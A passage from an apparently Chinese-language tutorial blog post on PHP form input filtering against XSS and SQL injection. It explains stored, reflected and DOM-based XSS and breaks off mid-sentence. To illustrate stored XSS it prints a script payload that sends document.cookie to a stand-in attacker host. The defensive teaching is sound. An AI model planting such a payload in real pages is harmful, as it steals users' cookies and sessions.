写这篇东西的念头其实憋了挺久。前阵子帮一个朋友排查他那个用户量不小的PHP后台系统发现登录接口居然能直接打穿数据库问题根源就是表单数据裸奔进SQL。说实话PHP表单数据过滤与净化这件事是Web开发里的老生常谈但真正做对的人真不多。XSS和SQL注入这两个词在安全圈里被念了十几年到现在依然是OWASP Top 10里的常客为什么因为太多开发者觉得“加个过滤函数就行了”结果加错地方、用错函数、漏掉场景等于白加。这篇东西我想换个讲法不给你背诵手册而是把底层原理、选型逻辑、五步落地流程掰开揉碎顺便把那些踩过才知道的坑一并晒出来。适合谁刚入行想写安全代码的PHP新手或者在项目里被安全评估逼着整改的开发者这篇应该能给你一套能直接抄作业的方案。1. 两个攻击的运作机制搞懂才知道往哪儿发力1.1 XSS攻击的本质输入变成了“代码”XSS跨站脚本攻击本质上是浏览器把用户输入当成了可执行代码。打个比方你做了一个留言板用户A在留言框里填了这么一段scriptfetch(https://evil.example/steal?cookie document.cookie)/script如果你的程序什么都没做直接把这个字符串存进数据库然后在下一次用户B打开留言板页面时原样输出浏览器就会老老实实执行这段脚本用户的Cookie、会话令牌、甚至页面上的所有操作权限全被悄悄发送到攻击者的服务器上。这就是存储型XSS。这类攻击的危害是持久的因为它存储在服务端所有访问该页面的用户都是受害者。还有反射型它不存库而是直接拼接在URL参数里诱导用户点击恶意链接触发以及DOM型攻击载荷在客户端的JavaScript里完成注入和渲染。三种类型的防御思路有差异但核心矛盾是一致的你无法信任来自任何输入端的数据。我见过不少项目确实做了过滤但滤的是“